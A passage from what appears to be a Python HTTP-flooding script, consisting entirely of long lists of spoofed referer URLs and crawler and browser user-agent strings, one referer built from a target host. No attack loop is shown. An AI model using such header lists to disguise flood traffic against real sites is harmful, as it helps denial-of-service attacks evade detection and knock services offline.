  3978.     headers_referers.append('http://engadget.search.aol.com/search?q=')
  3979.     headers_referers.append('http://careers.gatesfoundation.org/search?q=')
  3980.     headers_referers.append('http://techtv.mit.edu/search?q=')
  3981.     headers_referers.append('http://www.ustream.tv/search?q=')
  3982.     headers_referers.append('http://www.ted.com/search?q=')
  3983.     headers_referers.append('http://funnymama.com/search?q=')
  3984.     headers_referers.append('http://itch.io/search?q=')
  3985.     headers_referers.append('http://jobs.rbs.com/jobs/search?q=')
  3986.     headers_referers.append('http://taginfo.openstreetmap.org/search?q=')
  3987.     headers_referers.append('http://www.baoxaydung.com.vn/news/vn/search&q=')
  3988.     headers_referers.append('https://play.google.com/store/search?q=')
  3989.     headers_referers.append('http://www.tceq.texas.gov/@@tceq-search?q=')
  3990.     headers_referers.append('http://www.reddit.com/search?q=')
  3991.     headers_referers.append('http://www.bestbuytheater.com/events/search?q=')
  3992.     headers_referers.append('https://careers.carolinashealthcare.org/search?q=')
  3993.     headers_referers.append('http://jobs.leidos.com/search?q=')
  3994.     headers_referers.append('http://jobs.bloomberg.com/search?q=')
  3995.     headers_referers.append('https://www.pinterest.com/search/?q=')
  3996.     headers_referers.append('http://millercenter.org/search?q=')
  3997.     headers_referers.append('https://www.npmjs.com/search?q=')
  3998.     headers_referers.append('http://www.evidence.nhs.uk/search?q=')
  3999.     headers_referers.append('http://www.shodanhq.com/search?q=')
  4000.     headers_referers.append('http://ytmnd.com/search?q=')
  4001.     headers_referers.append('http://www.google.com/?q=')
  4002.     headers_referers.append('http://www.google.com/?q=')
  4003.     headers_referers.append('http://www.google.com/?q=')
  4004.     headers_referers.append('http://www.usatoday.com/search/results?q=')
  4005.     headers_referers.append('http://engadget.search.aol.com/search?q=')
  4006.     headers_referers.append('https://steamcommunity.com/market/search?q=')
  4007.     headers_referers.append('http://filehippo.com/search?q=')
  4008.     headers_referers.append('http://www.topsiteminecraft.com/site/pinterest.com/search?q=')
  4009.     headers_referers.append('http://eu.battle.net/wow/en/search?q=')
  4010.     headers_referers.append('http://engadget.search.aol.com/search?q=')
  4011.     headers_referers.append('http://careers.gatesfoundation.org/search?q=')
  4012.     headers_referers.append('http://techtv.mit.edu/search?q=')
  4013.     headers_referers.append('http://www.ustream.tv/search?q=')
  4014.     headers_referers.append('http://www.ted.com/search?q=')
  4015.     headers_referers.append('http://funnymama.com/search?q=')
  4016.     headers_referers.append('http://itch.io/search?q=')
  4017.     headers_referers.append('http://jobs.rbs.com/jobs/search?q=')
  4018.     headers_referers.append('http://taginfo.openstreetmap.org/search?q=')
  4019.     headers_referers.append('http://www.baoxaydung.com.vn/news/vn/search&q=')
  4020.     headers_referers.append('https://play.google.com/store/search?q=')
  4021.     headers_referers.append('http://www.tceq.texas.gov/@@tceq-search?q=')
  4022.     headers_referers.append('http://www.reddit.com/search?q=')
  4023.     headers_referers.append('http://www.bestbuytheater.com/events/search?q=')
  4024.     headers_referers.append('https://careers.carolinashealthcare.org/search?q=')
  4025.     headers_referers.append('http://jobs.leidos.com/search?q=')
  4026.     headers_referers.append('http://jobs.bloomberg.com/search?q=')
  4027.     headers_referers.append('https://www.pinterest.com/search/?q=')
  4028.     headers_referers.append('http://millercenter.org/search?q=')
  4029.     headers_referers.append('https://www.npmjs.com/search?q=')
  4030.     headers_referers.append('http://www.evidence.nhs.uk/search?q=')
  4031.     headers_referers.append('http://www.shodanhq.com/search?q=')
  4032.     headers_referers.append('http://ytmnd.com/search?q=')
  4033.     headers_referers.append('http://www.google.com/?q=')
  4034.     headers_referers.append('http://www.google.com/?q=')
  4035.     headers_referers.append('http://www.google.com/?q=')
  4036.     headers_referers.append('http://www.usatoday.com/search/results?q=')
  4037.     headers_referers.append('http://engadget.search.aol.com/search?q=')
  4038.     headers_referers.append('https://steamcommunity.com/market/search?q=')
  4039.     headers_referers.append('http://filehippo.com/search?q=')
  4040.     headers_referers.append('http://www.topsiteminecraft.com/site/pinterest.com/search?q=')
  4041.     headers_referers.append('http://eu.battle.net/wow/en/search?q=')
  4042.     headers_referers.append('http://engadget.search.aol.com/search?q=')
  4043.     headers_referers.append('http://careers.gatesfoundation.org/search?q=')
  4044.     headers_referers.append('http://techtv.mit.edu/search?q=')
  4045.     headers_referers.append('http://www.ustream.tv/search?q=')
  4046.     headers_referers.append('http://www.ted.com/search?q=')
  4047.     headers_referers.append('http://funnymama.com/search?q=')
  4048.     headers_referers.append('http://itch.io/search?q=')
  4049.     headers_referers.append('http://jobs.rbs.com/jobs/search?q=')
  4050.     headers_referers.append('http://taginfo.openstreetmap.org/search?q=')
  4051.     headers_referers.append('http://www.baoxaydung.com.vn/news/vn/search&q=')
  4052.     headers_referers.append('https://play.google.com/store/search?q=')
  4053.     headers_referers.append('http://www.tceq.texas.gov/@@tceq-search?q=')
  4054.     headers_referers.append('http://www.reddit.com/search?q=')
  4055.     headers_referers.append('http://www.bestbuytheater.com/events/search?q=')
  4056.     headers_referers.append('https://careers.carolinashealthcare.org/search?q=')
  4057.     headers_referers.append('http://jobs.leidos.com/search?q=')
  4058.     headers_referers.append('http://jobs.bloomberg.com/search?q=')
  4059.     headers_referers.append('https://www.pinterest.com/search/?q=')
  4060.     headers_referers.append('http://millercenter.org/search?q=')
  4061.     headers_referers.append('https://www.npmjs.com/search?q=')
  4062.     headers_referers.append('http://www.evidence.nhs.uk/search?q=')
  4063.     headers_referers.append('http://www.shodanhq.com/search?q=')
  4064.     headers_referers.append('http://ytmnd.com/search?q=')
  4065.     headers_referers.append('http://www.google.com/?q=')
  4066.     headers_referers.append('http://www.google.com/?q=')
  4067.     headers_referers.append('http://www.google.com/?q=')
  4068.     headers_referers.append('http://www.usatoday.com/search/results?q=')
  4069.     headers_referers.append('http://engadget.search.aol.com/search?q=')
  4070.     headers_referers.append('https://steamcommunity.com/market/search?q=')
  4071.     headers_referers.append('http://filehippo.com/search?q=')
  4072.     headers_referers.append('http://www.topsiteminecraft.com/site/pinterest.com/search?q=')
  4073.     headers_referers.append('http://eu.battle.net/wow/en/search?q=')
  4074.     headers_referers.append('http://engadget.search.aol.com/search?q=')
  4075.     headers_referers.append('http://careers.gatesfoundation.org/search?q=')
  4076.     headers_referers.append('http://techtv.mit.edu/search?q=')
  4077.     headers_referers.append('http://www.ustream.tv/search?q=')
  4078.     headers_referers.append('http://www.ted.com/search?q=')
  4079.     headers_referers.append('http://funnymama.com/search?q=')
  4080.     headers_referers.append('http://itch.io/search?q=')
  4081.     headers_referers.append('http://jobs.rbs.com/jobs/search?q=')
  4082.     headers_referers.append('http://taginfo.openstreetmap.org/search?q=')
  4083.     headers_referers.append('http://www.baoxaydung.com.vn/news/vn/search&q=')
  4084.     headers_referers.append('https://play.google.com/store/search?q=')
  4085.     headers_referers.append('http://www.tceq.texas.gov/@@tceq-search?q=')
  4086.     headers_referers.append('http://www.reddit.com/search?q=')
  4087.     headers_referers.append('http://www.bestbuytheater.com/events/search?q=')
  4088.     headers_referers.append('https://careers.carolinashealthcare.org/search?q=')
  4089.     headers_referers.append('http://jobs.leidos.com/search?q=')
  4090.     headers_referers.append('http://jobs.bloomberg.com/search?q=')
  4091.     headers_referers.append('https://www.pinterest.com/search/?q=')
  4092.     headers_referers.append('http://millercenter.org/search?q=')
  4093.     headers_referers.append('https://www.npmjs.com/search?q=')
  4094.     headers_referers.append('http://www.evidence.nhs.uk/search?q=')
  4095.     headers_referers.append('http://www.shodanhq.com/search?q=')
  4096.     headers_referers.append('http://ytmnd.com/search?q=')
  4097.     headers_referers.append('https://www.facebook.com/sharer/sharer.php?u=https://www.facebook.com/sharer/sharer.php?u=')
  4098.     headers_referers.append('http://www.google.com/?q=')
  4099.     headers_referers.append('https://www.facebook.com/l.php?u=https://www.facebook.com/l.php?u=')
  4100.     headers_referers.append('https://drive.google.com/viewerng/viewer?url=')
  4101.     headers_referers.append('http://www.google.com/translate?u=')
  4102.     headers_referers.append('https://developers.google.com/speed/pagespeed/insights/?url=')
  4103.     headers_referers.append('http://help.baidu.com/searchResult?keywords=')
  4104.     headers_referers.append('http://www.bing.com/search?q=')
  4105.     headers_referers.append('https://add.my.yahoo.com/rss?url=')
  4106.     headers_referers.append('https://play.google.com/store/search?q=')
  4107.     headers_referers.append('http://www.google.com/?q=')
  4108.     headers_referers.append('http://www.usatoday.com/search/results?q=')
  4109.     headers_referers.append('http://engadget.search.aol.com/search?q=')
  4110.     headers_referers.append('http://' + host + '/')
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  4115.     headers_useragents.append('123spider-Bot (Version: 1.02) powered by www.123spider.de')
  4116.     headers_useragents.append('192.comAgent')
  4117.     headers_useragents.append('1st ZipCommander (Net) - http://www.zipcommander.com/')
  4118.     headers_useragents.append('2Bone_LinkChecker/1.0 libwww-perl/5.64')
  4119.     headers_useragents.append('4anything.com LinkChecker v2.0')
  4120.     headers_useragents.append('8484 Boston Project v 1.0')
  4121.     headers_useragents.append(':robot/1.0 (linux) ( admin e-mail: undefined http://www.neofonie.de/loesungen/search/robot.html )')
  4122.     headers_useragents.append('A-Online Search')
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  4135.     headers_useragents.append('Ace Explorer')
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  4140.     headers_useragents.append('Acoon-Robot 4.0.x.[xx] (http://www.acoon.de)')
  4141.     headers_useragents.append('Acoon-Robot v3.xx (http://www.acoon.de and http://www.acoon.com)')
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  4148.     headers_useragents.append('Adaxas Spider (http://www.adaxas.net/)')
  4149.     headers_useragents.append('Advanced Browser (http://www.avantbrowser.com)')
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  4153.     headers_useragents.append('AgentName/0.1 libwww-perl/5.48')
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  4165.     headers_useragents.append('Allesklar/0.1 libwww-perl/5.46')
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  4170.     headers_useragents.append('AltaVista Intranet V2.0 evreka.com crawler@evreka.com')
  4171.     headers_useragents.append('AltaVista V2.0B crawler@evreka.com')
  4172.     headers_useragents.append('amaya/x.xx libwww/x.x.x')
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  4174.     headers_useragents.append('Amfibibot/0.06 (Amfibi Web Search; http://www.amfibi.com; agent@amfibi.com)')
  4175.     headers_useragents.append('Amfibibot/0.07 (Amfibi Robot; http://www.amfibi.com; agent@amfibi.com)')
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  4181.     headers_useragents.append('amzn_assoc')
  4182.     headers_useragents.append('AnnoMille spider 0.1 alpha - http://www.annomille.it')
  4183.     headers_useragents.append('annotate_google; http://ponderer.org/download/annotate_google.user.js')
  4184.     headers_useragents.append('Anonymized by ProxyOS: http://www.megaproxy.com')
  4185.     headers_useragents.append('Anonymizer/1.1')
  4186.     headers_useragents.append('AnswerBus (http://www.answerbus.com/)')
  4187.     headers_useragents.append('AnswerChase PROve x.0')
  4188.     headers_useragents.append('AnswerChase x.0')
  4189.     headers_useragents.append('ANTFresco/x.xx')
  4190.     headers_useragents.append('antibot-V1.1.5/i586-linux-2.2')
  4191.     headers_useragents.append('AnzwersCrawl/2.0 (anzwerscrawl@anzwers.com.au;Engine)')
  4192.     headers_useragents.append('Apexoo Spider 1.x')
  4193.     headers_useragents.append('Aplix HTTP/1.0.1')
  4194.     headers_useragents.append('Aplix_SANYO_browser/1.x (Japanese)')
  4195.     headers_useragents.append('Aplix_SEGASATURN_browser/1.x (Japanese)')
  4196.     headers_useragents.append('Aport')
  4197.     headers_useragents.append('appie 1.1 (www.walhello.com)')
  4198.     headers_useragents.append('Apple iPhone v1.1.4 CoreMedia v1.0.0.4A102')
  4199.     headers_useragents.append('Apple-PubSub/65.1.1')
  4200.     headers_useragents.append('ArabyBot (compatible; Mozilla/5.0; GoogleBot; FAST Crawler 6.4; http://www.araby.com;)')
  4201.     headers_useragents.append('ArachBot')
  4202.     headers_useragents.append('Arachnoidea (arachnoidea@euroseek.com)')
  4203.     headers_useragents.append('aranhabot')
  4204.     headers_useragents.append('ArchitextSpider')
  4205.     headers_useragents.append('archive.org_bot')
  4206.     headers_useragents.append('Argus/1.1 (Nutch; http://www.simpy.com/bot.html; feedback at simpy dot com)')
  4207.     headers_useragents.append('Arikus_Spider')
  4208.     headers_useragents.append('Arquivo-web-crawler (compatible; heritrix/1.12.1 +http://arquivo-web.fccn.pt)')
  4209.     headers_useragents.append('ASAHA Search Engine Turkey V.001 (http://www.asaha.com/)')
  4210.     headers_useragents.append('Asahina-Antenna/1.x')
  4211.     headers_useragents.append('Asahina-Antenna/1.x (libhina.pl/x.x ; libtime.pl/x.x)')
  4212.     headers_useragents.append('ask.24x.info')
  4213.     headers_useragents.append('AskAboutOil/0.06-rcp (Nutch; http://www.nutch.org/docs/en/bot.html; nutch-agent@askaboutoil.com)')
  4214.     headers_useragents.append('asked/Nutch-0.8 (web crawler; http://asked.jp; epicurus at gmail dot com)')
  4215.     headers_useragents.append('ASPSeek/1.2.5')
  4216.     headers_useragents.append('ASPseek/1.2.9d')
  4217.     headers_useragents.append('ASPSeek/1.2.x')
  4218.     headers_useragents.append('ASPSeek/1.2.xa')
  4219.     headers_useragents.append('ASPseek/1.2.xx')
  4220.     headers_useragents.append('ASPSeek/1.2.xxpre')
  4221.     headers_useragents.append('ASSORT/0.10')
  4222.     headers_useragents.append('asterias/2.0')
  4223.     headers_useragents.append('AtlocalBot/1.1 +(http://www.atlocal.com/local-web-site-owner.html)')
  4224.     headers_useragents.append('Atomic_Email_Hunter/4.0')
  4225.     headers_useragents.append('Atomz/1.0')
  4226.     headers_useragents.append('atSpider/1.0')
  4227.     headers_useragents.append('Attentio/Nutch-0.9-dev (Attentios beta blog crawler; www.attentio.com; info@attentio.com)')
  4228.     headers_useragents.append('AU-MIC/2.0 MMP/2.0')
  4229.     headers_useragents.append('AUDIOVOX-SMT5600')
  4230.     headers_useragents.append('augurfind')
  4231.     headers_useragents.append('augurnfind V-1.x')
  4232.     headers_useragents.append('autoemailspider')
  4233.     headers_useragents.append('autohttp')
  4234.     headers_useragents.append('autowebdir 1.1 (www.autowebdir.com)')
  4235.     headers_useragents.append('AV Fetch 1.0')
  4236.     headers_useragents.append('Avant Browser (http://www.avantbrowser.com)')
  4237.     headers_useragents.append('AVSearch-1.0(peter.turney@nrc.ca)')
  4238.     headers_useragents.append('AVSearch-2.0-fusionIdx-14-CompetitorWebSites')
  4239.     headers_useragents.append('AVSearch-3.0(AltaVista/AVC)')
  4240.     headers_useragents.append('AWeb')
  4241.     headers_useragents.append('axadine/ (Axadine Crawler; http://www.axada.de/; )')
  4242.     headers_useragents.append('AxmoRobot - Crawling your site for better indexing on www.axmo.com search engine.')
  4243.     headers_useragents.append('Azureus 2.x.x.x')
  4244.     headers_useragents.append('BabalooSpider/1.3 (BabalooSpider; http://www.babaloo.si; spider@babaloo.si)')
  4245.     headers_useragents.append('BaboomBot/1.x.x (+http://www.baboom.us)')
  4246.     headers_useragents.append('BackStreet Browser 3.x')
  4247.     headers_useragents.append('BaiduImagespider+(+http://www.baidu.jp/search/s308.html)')
  4248.     headers_useragents.append('BaiDuSpider')
  4249.     headers_useragents.append('Baiduspider+(+http://help.baidu.jp/system/05.html)')
  4250.     headers_useragents.append('Baiduspider+(+http://www.baidu.com/search/spider.htm)')
  4251.     headers_useragents.append('Baiduspider+(+http://www.baidu.com/search/spider_jp.html)')
  4252.     headers_useragents.append('Balihoo/Nutch-1.0-dev (Crawler for Balihoo.com search engine - obeys robots.txt and robots meta tags ; http://balihoo.com/index.aspx; robot at balihoo dot com)')
  4253.     headers_useragents.append('BanBots/1.2 (spider@banbots.com)')
  4254.     headers_useragents.append('Barca/2.0.xxxx')
  4255.     headers_useragents.append('BarcaPro/1.4.xxxx')
  4256.     headers_useragents.append('BarraHomeCrawler (albertof@barrahome.org)')
  4257.     headers_useragents.append('bCentral Billing Post-Process')
  4258.     headers_useragents.append('bdcindexer_2.6.2 (research@bdc)')
  4259.     headers_useragents.append('BDFetch')
  4260.     headers_useragents.append('BDNcentral Crawler v2.3 [en] (http://www.bdncentral.com/robot.html) (X11; I; Linux 2.0.44 i686)')
  4261.     headers_useragents.append('BeamMachine/0.5 (dead link remover of www.beammachine.net)')
  4262.     headers_useragents.append('beautybot/1.0 (+http://www.uchoose.de/crawler/beautybot/)')
  4263.     headers_useragents.append('BebopBot/2.5.1 ( crawler http://www.apassion4jazz.net/bebopbot.html )')
  4264.     headers_useragents.append('BeebwareDirectory/v0.01')
  4265.     headers_useragents.append('Big Brother (http://pauillac.inria.fr/~fpottier/)')
  4266.     headers_useragents.append('Big Fish v1.0')
  4267.     headers_useragents.append('BigBrother/1.6e')
  4268.     headers_useragents.append('BigCliqueBOT/1.03-dev (bigclicbot; http://www.bigclique.com; bot@bigclique.com)')
  4269.     headers_useragents.append('BIGLOTRON (Beta 2;GNU/Linux)')
  4270.     headers_useragents.append('Bigsearch.ca/Nutch-x.x-dev (Bigsearch.ca Internet Spider; http://www.bigsearch.ca/; info@enhancededge.com)')
  4271.     headers_useragents.append('Bilbo/2.3b-UNIX')
  4272.     headers_useragents.append('BilgiBetaBot/0.8-dev (bilgi.com (Beta) ; http://lucene.apache.org/nutch/bot.html; nutch-agent@lucene.apache.org)')
  4273.     headers_useragents.append('BilgiBot/1.0(beta) (http://www.bilgi.com/; bilgi at bilgi dot com)')
  4274.     headers_useragents.append('billbot wjj@cs.cmu.edu')
  4275.     headers_useragents.append('Bitacle bot/1.1')
  4276.     headers_useragents.append('Bitacle Robot (V:1.0;) (http://www.bitacle.com)')
  4277.     headers_useragents.append('Biyubi/x.x (Sistema Fenix; G11; Familia Toledo; es-mx)')
  4278.     headers_useragents.append('BlackBerry7520/4.0.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Browser/5.0.3.3 UP.Link/5.1.2.12 (Google WAP Proxy/1.0)')
  4279.     headers_useragents.append('BlackWidow')
  4280.     headers_useragents.append('BlackWidow')
  4281.     headers_useragents.append('Blaiz-Bee/1.0 (+http://www.blaiz.net)')
  4282.     headers_useragents.append('Blaiz-Bee/2.00.8222 (BE Internet Search Engine http://www.rawgrunt.com)')
  4283.     headers_useragents.append('Blaiz-Bee/2.00.xxxx (+http://www.blaiz.net)')
  4284.     headers_useragents.append('BlitzBOT@tricus.net')
  4285.     headers_useragents.append('BlitzBOT@tricus.net (Mozilla compatible)')
  4286.     headers_useragents.append('BlockNote.Net')
  4287.     headers_useragents.append('BlogBot/1.x')
  4288.     headers_useragents.append('BlogBridge 2.13 (http://www.blogbridge.com/)')
  4289.     headers_useragents.append('Bloglines Title Fetch/1.0 (http://www.bloglines.com)')
  4290.     headers_useragents.append('Bloglines-Images/0.1 (http://www.bloglines.com)')
  4291.     headers_useragents.append('Bloglines/3.1 (http://www.bloglines.com)')
  4292.     headers_useragents.append('BlogMap (http://www.feedmap.net)')
  4293.     headers_useragents.append('Blogpulse (info@blogpulse.com)')
  4294.     headers_useragents.append('BlogPulseLive (support@blogpulse.com)')
  4295.     headers_useragents.append('BlogSearch/1.x +http://www.icerocket.com/')
  4296.     headers_useragents.append('blogsearchbot-pumpkin-3')
  4297.     headers_useragents.append('BlogsNowBot) V 2.01 (+http://www.blogsnow.com/)')
  4298.     headers_useragents.append('BlogVibeBot-v1.1 (spider@blogvibe.nl)')
  4299.     headers_useragents.append('blogWatcher_Spider/0.1 (http://www.lr.pi.titech.ac.jp/blogWatcher/)')
  4300.     headers_useragents.append('BlogzIce/1.0 (+http://icerocket.com; rhodes@icerocket.com)')
  4301.     headers_useragents.append('BlogzIce/1.0 +http://www.icerocket.com/')
  4302.     headers_useragents.append('BloobyBot')
  4303.     headers_useragents.append('Bloodhound/Nutch-0.9 (Testing Crawler for Research - obeys robots.txt and robots meta tags ; http://balihoo.com/index.aspx; robot at balihoo dot com)')
  4304.     headers_useragents.append('bluefish 0.6 HTML editor')
  4305.     headers_useragents.append('BMCLIENT')
  4306.     headers_useragents.append('BMLAUNCHER')
  4307.     headers_useragents.append('Bobby/4.0.x RPT-HTTPClient/0.3-3E')
  4308.     headers_useragents.append('boitho.com-dc/0.xx (http://www.boitho.com/dcbot.html)')
  4309.     headers_useragents.append('boitho.com-robot/1.x')
  4310.     headers_useragents.append('boitho.com-robot/1.x (http://www.boitho.com/bot.html)')
  4311.     headers_useragents.append('Bookdog/x.x')
  4312.     headers_useragents.append('Bookmark Buddy bookmark checker (http://www.bookmarkbuddy.net/)')
  4313.     headers_useragents.append('Bookmark Renewal Check Agent [http://www.bookmark.ne.jp/]')
  4314.     headers_useragents.append('Bookmark Renewal Check Agent [http://www.bookmark.ne.jp/]')
  4315.     headers_useragents.append('BookmarkBase(2/;http://bookmarkbase.com)')
  4316.     headers_useragents.append('Bot mailto:craftbot@yahoo.com')
  4317.     headers_useragents.append('BPImageWalker/2.0 (www.bdbrandprotect.com)')
  4318.     headers_useragents.append('BravoBrian bstop.bravobrian.it')
  4319.     headers_useragents.append('BravoBrian SpiderEngine MarcoPolo')
  4320.     headers_useragents.append('BrightCrawler (http://www.brightcloud.com/brightcrawler.asp)')
  4321.     headers_useragents.append('BruinBot (+http://webarchive.cs.ucla.edu/bruinbot.html)')
  4322.     headers_useragents.append('BSDSeek/1.0')
  4323.     headers_useragents.append('BStop.BravoBrian.it Agent Detector')
  4324.     headers_useragents.append('BTbot/0.x (+http://www.btbot.com/btbot.html)')
  4325.     headers_useragents.append('BTWebClient/180B(9704)')
  4326.     headers_useragents.append('BuildCMS crawler (http://www.buildcms.com/crawler)')
  4327.     headers_useragents.append('Bulkfeeds/r1752 (http://bulkfeeds.net/)')
  4328.     headers_useragents.append('BullsEye')
  4329.     headers_useragents.append('bumblebee@relevare.com')
  4330.     headers_useragents.append('BunnySlippers')
  4331.     headers_useragents.append('BurstFindCrawler/1.1 (crawler.burstfind.com; http://crawler.burstfind.com; crawler@burstfind.com)')
  4332.     headers_useragents.append('Buscaplus Robi/1.0 (http://www.buscaplus.com/robi/)')
  4333.     headers_useragents.append('BW-C-2.0')
  4334.     headers_useragents.append('bwh3_user_agent')
  4335.     headers_useragents.append('Cabot/Nutch-0.9 (Amfibis web-crawling robot; http://www.amfibi.com/cabot/; agent@amfibi.com)')
  4336.     headers_useragents.append('Cabot/Nutch-1.0-dev (Amfibis web-crawling robot; http://www.amfibi.com/cabot/; agent@amfibi.com)')
  4337.     headers_useragents.append('CamelHttpStream/1.0')
  4338.     headers_useragents.append('Cancer Information and Support International;')
  4339.     headers_useragents.append('carleson/1.0')
  4340.     headers_useragents.append('Carnegie_Mellon_University_Research_WebBOT-->PLEASE READ-->http://www.andrew.cmu.edu/~brgordon/webbot/index.html http://www.andrew.cmu.edu/~brgordon/webbot/index.html')
  4341.     headers_useragents.append('Carnegie_Mellon_University_WebCrawler http://www.andrew.cmu.edu/~brgordon/webbot/index.html')
  4342.     headers_useragents.append('Catall Spider')
  4343.     headers_useragents.append('CazoodleBot/CazoodleBot-0.1 (CazoodleBot Crawler; http://www.cazoodle.com/cazoodlebot; cazoodlebot@cazoodle.com)')
  4344.     headers_useragents.append('CCBot/1.0 (+http://www.commoncrawl.org/bot.html)')
  4345.     headers_useragents.append('ccubee/x.x')
  4346.     headers_useragents.append('CDR/1.7.1 Simulator/0.7(+http://timewe.net) Profile/MIDP-1.0 Configuration/CLDC-1.0')
  4347.     headers_useragents.append('CE-Preload')
  4348.     headers_useragents.append('CentiverseBot')
  4349.     headers_useragents.append('CentiverseBot - investigator')
  4350.     headers_useragents.append('CentiverseBot/3.0 (http://www.centiverse-project.net)')
  4351.     headers_useragents.append('Ceramic Tile Installation Guide (http://www.floorstransformed.com)')
  4352.     headers_useragents.append('CERN-LineMode/2.15')
  4353.     headers_useragents.append('cfetch/1.0')
  4354.     headers_useragents.append('CFNetwork/x.x')
  4355.     headers_useragents.append('cg-eye interactive')
  4356.     headers_useragents.append('Charon/1.x (Amiga)')
  4357.     headers_useragents.append('Chat Catcher/1.0')
  4358.     headers_useragents.append('Checkbot/1.xx LWP/5.xx')
  4359.     headers_useragents.append('CheckLinks/1.x.x')
  4360.     headers_useragents.append('CheckUrl')
  4361.     headers_useragents.append('CheckWeb')
  4362.     headers_useragents.append('Chilkat/1.0.0 (+http://www.chilkatsoft.com/ChilkatHttpUA.asp)')
  4363.     headers_useragents.append('China Local Browse 2.6')
  4364.     headers_useragents.append('Chitika ContentHit 1.0')
  4365.     headers_useragents.append('ChristCRAWLER 2.0')
  4366.     headers_useragents.append('CHttpClient by Open Text Corporation')
  4367.     headers_useragents.append('CipinetBot (http://www.cipinet.com/bot.html)')
  4368.     headers_useragents.append('Cityreview Robot (+http://www.cityreview.org/crawler/)')
  4369.     headers_useragents.append('CJ Spider/')
  4370.     headers_useragents.append('CJB.NET Proxy')
  4371.     headers_useragents.append('ClariaBot/1.0')
  4372.     headers_useragents.append('Claymont.com')
  4373.     headers_useragents.append('CloakDetect/0.9 (+http://fulltext.seznam.cz/)')
  4374.     headers_useragents.append('Clushbot/2.x (+http://www.clush.com/bot.html)')
  4375.     headers_useragents.append('Clushbot/3.x-BinaryFury (+http://www.clush.com/bot.html)')
  4376.     headers_useragents.append('Clushbot/3.xx-Ajax (+http://www.clush.com/bot.html)')
  4377.     headers_useragents.append('Clushbot/3.xx-Hector (+http://www.clush.com/bot.html)')
  4378.     headers_useragents.append('Clushbot/3.xx-Peleus (+http://www.clush.com/bot.html)')
  4379.     headers_useragents.append('COAST WebMaster Pro/4.x.x.xx (Windows NT)')
  4380.     headers_useragents.append('CoBITSProbe')
  4381.     headers_useragents.append('Cocoal.icio.us/1.0 (v36) (Mac OS X; http://www.scifihifi.com/cocoalicious)')
  4382.     headers_useragents.append('Cogentbot/1.X (+http://www.cogentsoftwaresolutions.com/bot.html)')
  4383.     headers_useragents.append('ColdFusion')
  4384.     headers_useragents.append('ColdFusion (BookmarkTracker.com)')
  4385.     headers_useragents.append('collage.cgi/1.xx')
  4386.     headers_useragents.append('combine/0.0')
  4387.     headers_useragents.append('Combine/2.0 http://combine.it.lth.se/')
  4388.     headers_useragents.append('Combine/3 http://combine.it.lth.se/')
  4389.     headers_useragents.append('Combine/x.0')
  4390.     headers_useragents.append('cometrics-bot) http://www.cometrics.de')
  4391.     headers_useragents.append('Commerce Browser Center')
  4392.     headers_useragents.append('complex_network_group/Nutch-0.9-dev (discovering the structure of the world-wide-web; http://cantor.ee.ucla.edu/~networks/crawl; nimakhaj@gmail.com)')
  4393.     headers_useragents.append('Computer_and_Automation_Research_Institute_Crawler crawler@ilab.sztaki.hu')
  4394.     headers_useragents.append('Comrite/0.7.1 (Nutch; http://lucene.apache.org/nutch/bot.html; nutch-agent@lucene.apache.org)')
  4395.     headers_useragents.append('Contact')
  4396.     headers_useragents.append('ContactBot/0.2')
  4397.     headers_useragents.append('ContentSmartz')
  4398.     headers_useragents.append('contype')
  4399.     headers_useragents.append('Convera Internet Spider V6.x')
  4400.     headers_useragents.append('ConveraCrawler/0.2')
  4401.     headers_useragents.append('ConveraCrawler/0.9d (+http://www.authoritativeweb.com/crawl)')
  4402.     headers_useragents.append('ConveraMultiMediaCrawler/0.1 (+http://www.authoritativeweb.com/crawl)')
  4403.     headers_useragents.append('CoolBot')
  4404.     headers_useragents.append('Cooliris/1.5 CFNetwork/459 Darwin/10.0.0d3')
  4405.     headers_useragents.append('CoralWebPrx/0.1.1x (See http://coralcdn.org/)')
  4406.     headers_useragents.append('cosmos/0.8_(robot@xyleme.com)')
  4407.     headers_useragents.append('cosmos/0.9_(robot@xyleme.com)')
  4408.     headers_useragents.append('CoteoNutchCrawler/Nutch-0.9 (info [at] coteo [dot] com)')
  4409.     headers_useragents.append('CougarSearch/0.x (+http://www.cougarsearch.com/faq.shtml)')
  4410.     headers_useragents.append('Covac TexAs Arachbot')
  4411.     headers_useragents.append('CoverScout%203/3.0.1 CFNetwork/339.5 Darwin/9.5.0 (i386) (iMac5)1)')
  4412.     headers_useragents.append('Cowbot-0.1 (NHN Corp. / +82-2-3011-1954 / nhnbot@naver.com)')
  4413.     headers_useragents.append('Cowbot-0.1.x (NHN Corp. / +82-2-3011-1954 / nhnbot@naver.com)')
  4414.     headers_useragents.append('CrawlConvera0.1 (CrawlConvera@yahoo.com)')
  4415.     headers_useragents.append('Crawler')
  4416.     headers_useragents.append('Crawler (cometsearch@cometsystems.com)')
  4417.     headers_useragents.append('Crawler admin@crawler.de')
  4418.     headers_useragents.append('Crawler V 0.2.x admin@crawler.de')
  4419.     headers_useragents.append('crawler@alexa.com')
  4420.     headers_useragents.append('CrawlerBoy Pinpoint.com')
  4421.     headers_useragents.append('Crawllybot/0.1 (Crawllybot; +http://www.crawlly.com; crawler@crawlly.com)')
  4422.     headers_useragents.append('CreativeCommons/0.06-dev (Nutch; http://www.nutch.org/docs/en/bot.html; nutch-agent@lists.sourceforge.net)')
  4423.     headers_useragents.append('Cricket-A100/1.0 UP.Browser/6.3.0.7 (GUI) MMP/2.0')
  4424.     headers_useragents.append('CrocCrawler vx.3 [en] (http://www.croccrawler.com) (X11; I; Linux 2.0.44 i686)')
  4425.     headers_useragents.append('csci_b659/0.13')
  4426.     headers_useragents.append('CSE HTML Validator Professional (http://www.htmlvalidator.com/)')
  4427.     headers_useragents.append('Cuam Ver0.050bx')
  4428.     headers_useragents.append('Cuasarbot/0.9b http://www.cuasar.com/spider_beta/')
  4429.     headers_useragents.append('curl/7.10.x (i386-redhat-linux-gnu) libcurl/7.10.x OpenSSL/0.9.7a ipv6 zlib/1.1.4')
  4430.     headers_useragents.append('curl/7.7.x (i386--freebsd4.3) libcurl 7.7.x (SSL 0.9.6) (ipv6 enabled)')
  4431.     headers_useragents.append('curl/7.8 (i686-pc-linux-gnu) libcurl 7.8 (OpenSSL 0.9.6)')
  4432.     headers_useragents.append('curl/7.9.x (win32) libcurl 7.9.x')
  4433.     headers_useragents.append('CurryGuide SiteScan 1.1')
  4434.     headers_useragents.append('Custo x.x (www.netwu.com)')
  4435.     headers_useragents.append('Custom Spider www.bisnisseek.com /1.0')
  4436.     headers_useragents.append('Cyberdog/2.0 (Macintosh; 68k)')
  4437.     headers_useragents.append('CyberPatrol SiteCat Webbot')
